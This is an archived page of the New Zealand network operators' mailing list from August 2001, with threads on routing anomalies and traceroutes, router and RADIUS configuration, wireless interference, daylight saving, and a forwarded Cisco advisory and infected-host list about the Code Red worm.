Hi all, Spoke to XTRA and they are now correctly announcing 202.49.143/24 at APE to CLEAR, this has corrected the Australia routing spacial anomily :). ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

6 6

Cisco 2610 thru put
by Peter Mott 21 Aug '01

21 Aug '01

Does anybody have any experience with how much bandwidth you can realistically route through a 2610 before it starts to huff and puff? ie, Will it cope with 2x 2meg frame ccts running flat out - PWM "Hell, there are no rules here - we're trying to accomplish something!" Thomas A. Edison --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: UPDATE: Xtra broken?
by Phill Groom 21 Aug '01

21 Aug '01

Sort of related to this thread; http://michael.toren.net/code/tcptraceroute/ Quite cool! Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: XTRA network having problems?
by Ben Martel 21 Aug '01

21 Aug '01

Hey, > The original poster was questioning whether the site was up, > since it was > unreachable with ICMP. > By blocking all ICMP, such things as MTU path discovery are > also broken - > just like Hotmail. The original poster is aware of how blocking ICMP breaks things. In fact I am the indirect recipient of a 'display time on the wall alarm clock' for people who cant turn their heads at night (due to drunkeness generally), on the basis of fixing some American site that was broken because of it. I was actually trying to query (obviously not successfully - well Joe got it!) why the routing to one of the resolved addresses for www.nbnz.co.nz is being dropped by Xtra on their border router @ APE. Secondly why the hell the traffic should go through Australia to get their in the first place. TIA ~benm --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

XTRA network having problems?
by Ben Martel 21 Aug '01

21 Aug '01

Hey all, Anybody noticed if XTRA is having problems??? ~benm noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.681 ms 0.605 ms 0.620 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 1.295 ms 0.618 ms 0.616 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 1.695 ms 1.342 ms 0.994 ms 4 xtra.ape.net.nz (192.203.154.60) 2.068 ms 3.037 ms 2.400 ms 5 202-37-237-229.dds.xtra.co.nz (202.37.237.229) 11.157 ms 14.180 ms 12.818 ms ^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (202.49.143.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 1.027 ms 0.643 ms 0.591 ms 2 core1-fe6-1-0-acld.auckland.clix.net.nz (203.97.2.241) 0.828 ms 0.832 ms 0.748 ms 3 b1-atm2-0-1-wcms.sydney.clix.net.nz (203.97.83.222) 24.861 ms 24.981 ms 24.879 ms 4 500.Serial0-1-1.GW2.SYD2.ALTER.NET (203.166.90.77) 25.304 ms 25.446 ms 25.532 ms 5 422.at-6-0-0.XR1.SYD2.Alter.Net (210.80.3.93) 25.821 ms 26.227 ms 26.369 ms 6 0.SO-5-0-0.XR1.SYD4.ALTER.NET (210.80.33.222) 26.798 ms 26.203 ms 26.783 ms 7 0.SO-0-0-1.XR2.SYD3.ALTER.NET (210.80.33.10) 26.120 ms 26.265 ms 26.196 ms 8 412.ATM8-0-0.GW1.SYD3.Alter.Net (210.80.3.158) 26.766 ms 27.052 ms 27.655 ms 9 500.ATM1-0.BORDER3.SYD.OZEMAIL.NET.AU (203.166.16.38) 29.680 ms 28.339 ms 27.345 ms 10 border1-fe0-0.syd.ozemail.net.au (203.108.190.150) 29.397 ms 27.699 ms 28.171 ms 11 203.108.1.237 (203.108.1.237) 125.545 ms 44.672 ms 47.893 ms 12 atm0-1-0-2.bdr1.hay.connect.com.au (210.8.219.234) 32.714 ms 41.311 ms 50.258 ms 13 f4-0-0-2.sybr1.netgate.net.nz (202.50.116.113) 59.829 ms 36.707 ms 35.536 ms 14 * * * 15 * * * 16 * * * 17 * * * 18 * * * 19 * * * 20 * * * 21 * * * 22 * * * 23 * * * 24 * * * 25 * * * 26 * * * 27 * * * 28 * * * 29 * * * 30 * * * noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (202.49.143.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.804 ms 0.591 ms 0.574 ms 2 core1-fe6-1-0-acld.auckland.clix.net.nz (203.97.2.241) 0.868 ms 1.181 ms 0.835 ms 3 b1-atm2-0-1-wcms.sydney.clix.net.nz (203.97.83.222) 26.398 ms 24.848 ms 25.311 ms 4 500.Serial0-1-1.GW2.SYD2.ALTER.NET (203.166.90.77) 25.351 ms 25.321 ms 25.193 ms 5 422.at-6-0-0.XR1.SYD2.Alter.Net (210.80.3.93) 26.074 ms 25.617 ms 25.889 ms 6 0.SO-5-0-0.XR1.SYD4.ALTER.NET (210.80.33.222) 26.125 ms 26.219 ms 26.750 ms 7 0.SO-0-0-1.XR2.SYD3.ALTER.NET (210.80.33.10) 26.163 ms 26.097 ms 26.047 ms 8 412.ATM8-0-0.GW1.SYD3.Alter.Net (210.80.3.158) 27.231 ms 27.047 ms 27.093 ms 9 500.ATM1-0.BORDER3.SYD.OZEMAIL.NET.AU (203.166.16.38) 27.965 ms 27.783 ms 28.140 ms 10 border1-fe0-0.syd.ozemail.net.au (203.108.190.150) 28.064 ms 28.494 ms 28.159 ms 11 203.108.1.237 (203.108.1.237) 38.559 ms 29.714 ms 35.737 ms 12 atm0-1-0-2.bdr1.hay.connect.com.au (210.8.219.234) 36.318 ms 34.299 ms 32.086 ms 13 f4-0-0-2.sybr1.netgate.net.nz (202.50.116.113) 32.040 ms 31.104 ms 30.982 ms 14 * * * 15 * *^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.663 ms 0.619 ms 0.612 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 0.698 ms 0.654 ms 1.278 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 0.899 ms 1.329 ms 0.946 ms 4 xtra.ape.net.nz (192.203.154.60) 1.588 ms 3.299 ms 2.391 ms 5 203.96.111.218 (203.96.111.218) 11.624 ms 11.308 ms 11.742 ms 6 * 202-37-237-133.dds.xtra.co.nz (202.37.237.133) 87.635 ms 106.486 ms ^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.678 ms 0.607 ms 0.834 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 0.776 ms 0.646 ms 0.613 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 0.855 ms 1.131 ms 0.718 ms 4 xtra.ape.net.nz (192.203.154.60) 3.019 ms 2.365 ms 1.725 ms 5 203.96.111.218 (203.96.111.218) 42.603 ms 41.431 ms 47.360 ms 6 203.96.111.217 (203.96.111.217) 60.746 ms 66.191 ms 78.594 ms 7 203.96.111.218 (203.96.111.218) 154.869 ms 159.711 ms * ^C noc% traceroute www.nbnz.co.nz traceroute to www.nbnz.co.nz (210.55.168.70), 30 hops max, 40 byte packets 1 cs-red-vrrp.auckland.clix.net.nz (203.167.224.53) 0.672 ms 0.634 ms 1.264 ms 2 cs2-e4-4-acld.auckland.clix.net.nz (203.167.224.55) 0.895 ms 0.643 ms 0.652 ms 3 ba2-fe0-1-0-acld.auckland.clix.net.nz (203.97.9.177) 1.304 ms 1.809 ms 1.085 ms 4 xtra.ape.net.nz (192.203.154.60) 2.856 ms 2.155 ms 1.760 ms 5 202-37-237-229.dds.xtra.co.nz (202.37.237.229) 70.480 ms 57.187 ms 36.798 ms 6 *^C noc% ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

6 12

CLEAR Net Tempest
by Neil 16 Aug '01

16 Aug '01

Hi All, Has anyone else had any problems with Clear's 802.11 wireless internet service (http://www.clear.net.nz/services/tempest.html) as a source of interference? They have just done a rollout in Rotorua and totally stoped 3 separate wireless networks that had been running together nicely for the past year or two. Clear have told me that Rotorua is the only place that this has happened in and are being very slow to do anything about it so if this has happened to you could you let me know. Neil Fincham Integral LTD.

11 13

Cisco pages about code Red.
by Roger De Salis 16 Aug '01

16 Aug '01

Apologies if you have seen this multiple times. It is a little more complete than previous posted items. - R Cisco Technical Assistance Center News Flash - August 16, 2001 http://www.cisco.com/tac -------------------------------------------- "Code Red" Worm Update ____________________________________________ Dear Cisco Customer, For the most up-to-date information on the "Code Red" worm, visit the Cisco TAC Web Site "'Code Red' Technical Tips" page. Be sure to check this page for new and updated documents. The "'Code Red' Technical Tips" page can be reached at: http://www.cisco.com/tac/newsflash/codered_tt_08162001.html ISSUES REGARDING THE "CODE RED" WORM There are three main issues to deal with regarding the "Code Red" worm: 1. The worm infects and replicates through a vulnerability in the Microsoft Internet Information Server (IIS). This creates an infection exposure for Cisco products that embed or run on IIS. This exposure can be dealt with by applying Microsoft patches to the IIS servers. These patches are available at: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security… 2. The earlier versions of the worm launched Denial of Service (DoS) attacks from the infected servers targeted at the White House Web Site. These DoS attacks can create high volumes of Internet-bound traffic. 3. The most recent variant of the worm creates high volumes of traffic on local networks, which may disrupt general network performance. The majority of the calls the Cisco TAC is receiving from customers are not due to Cisco products being infected by the worm; rather, many customers are experiencing the indirect impact that is caused by the messaging storms that occur because infected IIS servers are generating large amounts of network traffic while attempting to infect other IIS servers. This network traffic may cause networking equipment to become overloaded, which results in slow response, reloads, and other types of network equipment failures. Workarounds for the affected equipment, where applicable, are available at the "Cisco Security Advisory: 'Code Red' Worm" page, which can be found at: http://www.cisco.com/tac/newsflash/codered_secadvisory_08162001.html UNDERSTANDING THE "CODE RED" WORM A malicious self-replicating program known as the "Code Red" worm is targeted at systems running the Microsoft IIS. Several Cisco products are installed or provided on targeted systems. Additionally, the behavior of the worm can cause problems for other network devices. The following Cisco products are vulnerable to infection because they run affected versions of Microsoft IIS: * Cisco CallManager * Cisco Unity Server * Cisco uOne * Cisco ICS 7750 * Cisco Building Broadband Service Manager * Cisco IP/VC 3540 Application Server Other Cisco products may also be adversely affected by the "Code Red" worm. Please read "Cisco Security Advisory: 'Code Red' Worm" for further details. This advisory can be accessed at: http://www.cisco.com/tac/newsflash/codered_secadvisory_08162001.html All updates and workarounds are available under the "Featured Links" section of the Cisco TAC Web Home Page, which can be reached at: http://www.cisco.com/tac/newsflash/featured_links_08162001.html To access the documents directly, go to the "'Code Red' Technical Tips" page. This page can be reached at: http://www.cisco.com/tac/newsflash/codered_tt_08162001.html You can prevent the infection of servers and stop the spread of the worm by applying a Microsoft patch to vulnerable servers. This patch is available at: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security… Once infected, a system may require additional repair due to the damage caused by the worm. This is also documented on the Microsoft Web Site at: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsoluti… ADDITIONAL RESOURCES The Cisco TAC Web Site "'Code Red' Technical Tips" page includes new and updated documents with details about how the worm virus impacts Cisco networks, and what you can do to protect your network. These additional resources include: * "Cisco Security Advisory: 'Code Red' Worm - Customer Impact" * "The Network-Based Application Recognition and Access Control Lists for Blocking the 'Code Red' Worm at Network Ingress Points" * "Dealing with 'mallocfail' and High CPU Utilization Resulting From the 'Code Red' Worm" * "How to Filter 'Code Red' on Cisco Cache and Content Engines" CISCO PRODUCT SECURITY INCIDENT PROCEDURES Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, registering to receive security information from Cisco, and handling press inquiries regarding Cisco security notices is available at: http://www.cisco.com/tac/newsflash/prod_security_08162001.html Sincerely, Cisco TAC -- \_ Roger De Salis rdesalis(a)cisco.com </' Cisco Systems NZ Ltd +64 25 481 452 /) L8, ASB Tower, 2 Hunter St +64 4 496 9003 (/ Wellington, New Zealand roger(a)desalis.gen.nz ` By 2003, every home should have a Terabyte file server, a 10Mbps Internet Connection, a decent firewall and no M$ taxes. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Auckland Wireless Cards
by J S Russell 14 Aug '01

14 Aug '01

Short notice, but: Does anyone on this list in Auckland have any late-model hermes based PCMCIA wireless networking cards, which I would borrow for a few hours today, and come and pick up fairly immediately. CBD location preferred. JSR -- John S Russell | Operations Manager | "Evil, much like good, is it's own reward." Attica/Callplus NZ | --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

early daylight saving
by Joe Abley 14 Aug '01

14 Aug '01

If daylight saving is brought forward this year, I guess we'd need a new 2001-only rule in the unix timezone database. The copy I have in my OpenBSD source tree says updates should get sent to tz(a)elsie.nci.nih.gov. Is there some standard government protocol for notifying changes in daylight-saving time to other relevant agencies, like IATA? Just interested :) Joe http://www.nzherald.co.nz/storydisplay.cfm?storyID=207726&thesection=news&t… Daylight saving idea to beat cuts 15.08.2001 By VERNON SMALL deputy political reporter An early start to daylight saving is possible if the electricity crisis deepens. The radical idea, coming as energy savings fall below the required 10 per cent, could cut power use by extending daylight into the evening peak time. A spokesman for Energy Minister Pete Hodgson said the minister had an open mind on the suggestion, put forward by one industry player. The proposal would be explored over the next two weeks, but Mr Hodgson would not say whose idea it was because the person had requested anonymity. A rough estimate by electricity market company M-Co showed an overall power reduction of 3.5 per cent in the first week of daylight saving last year. For the past three years, the reduction in the first week averaged 2 per cent. More important, in the first week of daylight saving, peak evening consumption, between 5 pm and 8 pm, dropped 7.5 per cent last year and an average of 5.5 per cent over the past three years. Peak morning demand, between 7 am and 9 am, fell by smaller amounts. "If you can keep it lighter later, the lights come on later and you save power," said M-Co's general manager of communications, Jane Tronson. Decreasing demand in peak times could also reduce potential price spikes. Act energy spokesman Gerry Eckhoff called for clocks to be put forward as early as September 1 rather than the due date of October 7. That would save power because people would eat dinner earlier and might use the barbecue instead of the electric stove, the MP said. "I guess if they sit down to dinner and watch the news at 5 pm instead of 6 pm it is still a wee bit warmer." Even a small amount of saving on lighting could accumulate across the country. There could be bigger savings in the North, where twilight lasts less time than in the South. But Federated Farmers energy spokesman Tom Lambie firmly rejected the suggestion. "We are in the busiest time of year in full flight with calving. The last thing people want to do is get up in the dark. The first daylight hours are precious for getting on with the job." A study in California, which has suffered rolling blackouts, found that daylight saving saved only small amounts of power but caused significant reductions in peak use. However, Mr Eckhoff said California had a big demand for power for air-conditioning rather than heating. The icy blast sweeping NZ from the south has caused another hiccup in the power-saving effort. Snowfalls and a cold southerly change meant savings dropped to 6.5 per cent on Monday. In the past seven days, average savings have been 9.4 per cent. However, M-Co admitted yesterday that the power saving figure published for Saturday was incorrect. The actual saving was 7.3 per cent, not 1.8 per cent as it reported. Meanwhile, one power company is trying to boost the everyone-pull-together power-saving message by offering yet another cash incentive - this time with a twist. Contact Energy, one of the four big electricity generators, which also has about 22 per cent of the retail market, will give up to $400,000 to worthy causes in regions where power consumption is cut by 10 per cent over the next month. Contact chief executive Stephen Barrett said regions must save at least 4 per cent to get any money. Those that missed the 10 per cent target but still made savings would be rewarded on a sliding scale. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

Firewalling on Cisco router?
by PhoneNet 14 Aug '01

14 Aug '01

Can anyone give some suggestions on the best way to firewall a system using a Cisco router.... a friend on another list I'm on has been charged with moving a system .... some of the misfortunes he has been faced with so far are (Don't Laugh): 1.They had no list of thier machine names, 2. No IP addresses, 3. moved token ring to ethernet. 4. They had hubs, but no patch cables.... They get the Cisco router today and are moving tomorrow. Initally they will just use a very restrictive set of Cisco filters and NAT. It has bee nsuggested he use either Checkpoint or Cisco Pix, both standalone machines. Any comments? Ian Cousins PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Max 6000 R2 Settings
by Craig Whitmore 13 Aug '01

13 Aug '01

If anyone is kind enough to be running a Max6000 with R2, could you please send me a copy of the Settings for the E1's so they will work with R2 :-) I set up the first 4000's at IHUG on PRI's years and years ago, about I don't know the "right" settings to R2's :-( Also. if anyone has a suggestion on most stable firmware for the 6000? 7.2? 8.1? 9.0? It would be great. Sig Mode=NEW ZEALAND Switch Type=CAS Framing Mode=G.703 etc etc etc Thanks Craig Whitmore Orcon Internet http://www.orcon.net.nz

4 5

Orcon Internet Updated Prefix List
by root 13 Aug '01

13 Aug '01

For those people who are Peering with Orcon Internet Please Note the Updated Prefix Lists. (210.54.56.0/21 is added from previous prefix-lists) ip prefix-list ORCON-networks description Orcon Internet <noc(a)orcon.net.nz> ip prefix-list ORCON-networks permit 202.14.20.0/22 le 24 ip prefix-list ORCON-networks permit 202.27.76.0/23 le 24 ip prefix-list ORCON-networks permit 202.27.140.0/22 le 24 ip prefix-list ORCON-networks permit 202.27.188.128/25 ip prefix-list ORCON-networks permit 210.27.250.0/24 ip prefix-list ORCON-networks permit 210.54.13.0/24 ip prefix-list ORCON-networks permit 210.54.142.0/23 le 24 ip prefix-list ORCON-networks permit 210.54.148.0/23 le 24 ip prefix-list ORCON-networks permit 210.55.8.0/24 ip prefix-list ORCON-networks permit 210.55.12.0/22 le 24 ip prefix-list ORCON-networks permit 210.55.18.0/24 ip prefix-list ORCON-networks permit 210.55.199.0/24 ip prefix-list ORCON-networks permit 210.54.56.0/21 Thanks Craig Whitmore Orcon Internet http://www.orcon.net.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: CLEAR Net Tempest
by Mark Foster 13 Aug '01

13 Aug '01

Well youre talking about mathematical stuff which I let go over my head years ago. :P Fair enough; I defer to those with higher skills than myself. I spose nows not a good time to mention im job hunting? :P Anyone need a Senior Helpdesk or Junior NOC type person? ... *shrug* :) Mark. At 09:55 14/08/2001 +1200, Matthew G Brown wrote: >All loss can be calculated . ( Within reason ) > >The exact frequency of the ISM band channel is avai on manafacture WWW sites. > >Cable Loss - http://www.timesmicrowave.com ( If your a LMR person ) >Connector Loss - http://www.tessco.com or http://www.timesmicrowave.com >* NB: I use Shuners conenctors over Times anyday >Insertion Loss - See Antenna manafacture > >Free Space Loss (isotropic):FSL (isotropic) = 20Log10(Frequency in MHz) + >20Log10 (Distance in Miles) + 36.6 > >Then you can check your operating margin, I run with 10db+ anything less and >you asking to get your head run over by a bare naked lady > >SOM = RX Signal Level - RX Sensitivity > >RX Signal Level = TX Power - TX Cable Loss + TX Antenna Gain - FSL + RX >Antenna Gain - RX Cable Loss > *Snip* --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Max 6000 won't Assign ip from second ip pool
by John Lynch 13 Aug '01

13 Aug '01

Hi I was wondering if any one out there has ever got the Ascend-Assign-IP-Pool radius attribute to work with a max 6000. I have just set up ip pool 2 on the max and am now trying to get an ip assigned from this new pool for a test user. I am using the radiusd-cistron 1.6.1-0.1 debian linux package for radius auth, the TAOS on the max is 9.0.0. I can login just fine but the win95 pc I am dialing in with is still assigned and ip address from pool 1. here is the debug info from radius : radrecv: Request from host ca1bd0fc code=1, id=233, length=123 User-Name = "testlynch" Password = "l\012\307\203\375\367\204\272\317\313\236\275\205f{\201" NAS-IP-Address = 202.27.208.252 NAS-Port-Id = 20202 NAS-Port-Type = Async Service-Type = Framed-User Framed-Protocol = PPP Called-Station-Id = "3700055" Acct-Session-Id = "343972952" Vendor-Specific = "V529:T197:L6::T0:L0:]\300" Vendor-Specific = "V529:T255:L6::T0:L0:\305\353" users: Matched testlynch at 51 auth: Local Sending Ack of id 233 to ca1bd0fc (nas maxbox) Service-Type = Framed-User Framed-Protocol = PPP Framed-Address = 255.255.255.254 Framed-Netmask = 255.255.255.255 Ascend-Assign-IP-Pool = 2 Ascend-Maximum-Channels = 1 Ascend-Idle-Limit = 1200 Login OK: [testlynch] (from nas maxbox/S20202) Here is the debug info from the maxbox (not the same session as above but you get the picture) : authenticating <9:testlynch> with PAP RADIF 1:49:20> _radiusRequest: id 202, user name <9:testlynch> RADIF: not sending NULL State-Attribute for VSA RADIF: not sending NULL State-Attribute for VSA RADIF: _radiusReq: socket 6 len 123 ipaddr 202.27.208.65 port 65534->1812 RADIF:_radiusReq: id 202 <9:testlynch>, starting timer (10 sec) _receivedResponse :1, addrPoolAcked : 0 RADIF: _radCallback: buf=b0aaee80 from 202.27.208.65 1812 RADIF: _radCallback, authcode = 2, id 202 RADIF: _radCallback: id 202, killing timer RADIF: Authentication Ack RADIF: vendor 0 attr 6, len 6, 00 00 00 02 RADIF: vendor 0 attr 7, len 6, 00 00 00 01 RADIF: callMgmtType set to 2. RADIF: vendor 0 attr 8, len 6, ff ff ff fe RADIF: vendor 0 attr 9, len 6, ff ff ff ff RADIF: vendor 0 attr 218, len 6, 00 00 00 02 RADIF: vendor 0 attr 235, len 6, 00 00 00 01 RADIF: vendor 0 attr 244, len 6, 00 00 04 b0 Disposing of tunnel info object b0ab8a80. RADIF:_freeInfoClassSess RADIF: radius type Acct ID = 93 RADIF:sending to 202.27.208.242 1813 _receivedResponse :1, addrPoolAcked : 0 RADIF: _radCallback: buf=b0aab400 from 202.27.208.242 1813 RADIF: _radProcAcctRsp: user:<9:testlynch>, ID=93 RADIF:_freeInfoClassSess RADIF: _radCallback: processed acct server type=0 RADIF: radius type Auth ID = 203 any help would be much appreciated. John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 1

CLEAR Net Tempest
by Neil 12 Aug '01

12 Aug '01

Hi All, Has anyone else had any problems with Clear's 802.11 wireless internet service (http://www.clear.net.nz/services/tempest.html) as a source of interference? They have just done a rollout in Rotorua and totally stoped 3 separate wireless networks that had been running together nicely for the past year or two. Clear have told me that Rotorua is the only place that this has happened in and are being very slow to do anything about it so if this has happened to you could you let me know. Neil Fincham Integral LTD.

2 1

NZNOG List Change Now Effective
by Donald Neal 12 Aug '01

12 Aug '01

NZNOG People, Postings for the NZNOG list should now be accepted only from addresses subscribed to one of the following lists: nznog - this list nznog-digest - the digest version of this list nznog-postonly - a list which exists only to allow addresses subscribed to it to post to the nznog list. Messages will not normally be sent to addresses subscibed to nznog-postonly. To subscribe new addresses to one or more of these lists, send email to majordomo(a)list.waikato.ac.nz where each line of the body of the message has the form subscribe <list name> to subscribe the address from which that message is being sent, or subscribe <list name> <address> to subscribe a different address. More than one subscription request may be sent in the same message. Donald Neal List Administrator --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: CLEAR Net Tempest
by Neil 12 Aug '01

12 Aug '01

Hi all, Sorry about the Spam, I have the displeasure of being on the end of one of these links (the mail client did not get the signoff from the smtp server so it tried again). Neil Fincham Integral LTD ----- Original Message ----- From: Olderon To: Neil Sent: Monday, August 13, 2001 4:47 PM Subject: Re: CLEAR Net Tempest is there something wrong with your mail? youve sent that same email 4times. 4:23 4:28 4:29 4:36 ----- Original Message ----- From: Neil To: nznog(a)list.waikato.ac.nz Sent: Monday, August 13, 2001 4:18 PM Subject: CLEAR Net Tempest Hi All, Has anyone else had any problems with Clear's 802.11 wireless internet service (http://www.clear.net.nz/services/tempest.html) as a source of interference? They have just done a rollout in Rotorua and totally stoped 3 separate wireless networks that had been running together nicely for the past year or two. Clear have told me that Rotorua is the only place that this has happened in and are being very slow to do anything about it so if this has happened to you could you let me know. Neil Fincham Integral LTD.

1 0

CLEAR Net Tempest
by Neil 12 Aug '01

12 Aug '01

Hi All, Has anyone else had any problems with Clear's 802.11 wireless internet service (http://www.clear.net.nz/services/tempest.html) as a source of interference? They have just done a rollout in Rotorua and totally stoped 3 separate wireless networks that had been running together nicely for the past year or two. Clear have told me that Rotorua is the only place that this has happened in and are being very slow to do anything about it so if this has happened to you could you let me know. Neil Fincham Integral LTD.

1 0

CLEAR Net Tempest
by Neil 12 Aug '01

12 Aug '01

Hi All, Has anyone else had any problems with Clear's 802.11 wireless internet service (http://www.clear.net.nz/services/tempest.html) as a source of interference? They have just done a rollout in Rotorua and totally stoped 3 separate wireless networks that had been running together nicely for the past year or two. Clear have told me that Rotorua is the only place that this has happened in and are being very slow to do anything about it so if this has happened to you could you let me know. Neil Fincham Integral LTD.

1 0

Code red logging
by Simon Byrnand 12 Aug '01

12 Aug '01

Thought those of you playing Code Red Detective may find the following URL of some use :) http://salfter.dyndns.org/codered.shtml Regards, Simon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 3

Abuse@xtra.co.nz now guilty of abuse?
by PhoneNet 11 Aug '01

11 Aug '01

If anyone at Xtra is reading this list please get them to fix the autoresponder for messages to abuse(a)xtra.co.nz... I've now had 5 identical replies over a period of 3 days to my complaint re spam.... Perhaps they think they are supposed to be the abusers? Ian Cousins PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Fwd: Code red infected customers
by Steve Phillips 10 Aug '01

10 Aug '01

FYI, these are the IP's I've collected to date that are in the NZ domain, some of these will be on dynamic dialup accounts, if you would like the actual log entries which should include times they were online let me know, i'll probably clear off the log files and restart the collection at a later date as the time on the server was out by an hour <self fwap> >Date: Sat, 11 Aug 2001 18:57:54 +1200 >From: root <root(a)hangover.nz.asiaonline.net> >To: steve(a)nz.asiaonline.net >Subject: Code red infected customers > >Code Red Infected customers on our network trying to infect remote sites.. > > >202.154.128.18 : 18.128.154.202.IN-ADDR.ARPA domain name pointer >ak-d18.connections.net.nz >202.180.111.174 : 174.111.180.202.IN-ADDR.ARPA domain name pointer >202-180-111-174.nas3.chc.attica.net.nz >202.180.111.18 : 18.111.180.202.IN-ADDR.ARPA domain name pointer >202-180-111-18.nas3.chc.attica.net.nz >202.180.111.77 : 77.111.180.202.IN-ADDR.ARPA domain name pointer >202-180-111-77.nas3.chc.attica.net.nz >202.180.111.95 : 95.111.180.202.IN-ADDR.ARPA domain name pointer >202-180-111-95.nas3.chc.attica.net.nz >202.180.68.127 : 127.68.180.202.IN-ADDR.ARPA domain name pointer >202-180-68-127.nas1.wgn.attica.net.nz >202.180.68.40 : 40.68.180.202.IN-ADDR.ARPA domain name pointer >202-180-68-40.nas1.wgn.attica.net.nz >202.180.69.248 : 248.69.180.202.IN-ADDR.ARPA domain name pointer >202-180-69-248.ipn1.attica.net.nz >202.180.71.36 : 36.71.180.202.IN-ADDR.ARPA domain name pointer >202-180-71-36.nas4.akl.attica.net.nz >202.180.90.163 : 163.90.180.202.IN-ADDR.ARPA domain name pointer >202-180-90-163.nas7.akl.attica.net.nz >202.37.167.38 : 38.167.37.202.IN-ADDR.ARPA domain name pointer >nwp-38.world-net.co.nz >202.37.68.193 : 193.68.37.202.IN-ADDR.ARPA domain name pointer >nw3-193.world-net.co.nz >202.49.144.221 : 221.144.49.202.IN-ADDR.ARPA domain name pointer >storefrontmail.viatx.com >202.49.144.225 : 225.144.49.202.IN-ADDR.ARPA domain name pointer >stage.viatx.com >202.50.111.114 : >202.50.111.91 : >202.50.111.97 : >203.109.193.163 : 163.193.109.203.IN-ADDR.ARPA domain name pointer >203-109-193-163.ihug.net >203.109.203.103 : 103.203.109.203.IN-ADDR.ARPA domain name pointer >203-109-203-103.nzl.ihugultra.co.nz >203.167.132.64 : 64.132.167.203.IN-ADDR.ARPA domain name pointer >203-167-132-64.dialup.clear.net.nz >203.167.161.144 : 144.161.167.203.IN-ADDR.ARPA domain name pointer >203-167-161-144.dialup.clear.net.nz >203.167.164.208 : 208.164.167.203.IN-ADDR.ARPA domain name pointer >203-167-164-208.dialup.clear.net.nz >203.167.166.71 : 71.166.167.203.IN-ADDR.ARPA domain name pointer >203-167-166-71.dialup.clear.net.nz >203.167.171.155 : 155.171.167.203.IN-ADDR.ARPA domain name pointer >203-167-171-155.dialup.clear.net.nz >203.167.214.50 : >203.167.247.214 : 214.247.167.203.IN-ADDR.ARPA domain name pointer >cf4-acld.auckland.clix.net.nz >203.167.254.136 : 136.254.167.203.IN-ADDR.ARPA domain name pointer >napr-m36.dialup.inhb.co.nz >203.79.102.72 : 72.102.79.203.IN-ADDR.ARPA domain name pointer >203-79-102-72.tnt14.paradise.net.nz >203.79.103.179 : 179.103.79.203.IN-ADDR.ARPA domain name pointer >203-79-103-179.tnt14.paradise.net.nz >203.96.106.59 : 59.106.96.203.IN-ADDR.ARPA domain name pointer >203-96-106-59.dialup.xtra.co.nz >203.96.110.172 : 172.110.96.203.IN-ADDR.ARPA domain name pointer >203-96-110-172.dialup.xtra.co.nz >203.96.110.66 : 66.110.96.203.IN-ADDR.ARPA domain name pointer >203-96-110-66.dialup.xtra.co.nz >203.96.62.201 : 201.62.96.203.IN-ADDR.ARPA domain name pointer >203-96-62-201-tollfree.actrix.co.nz 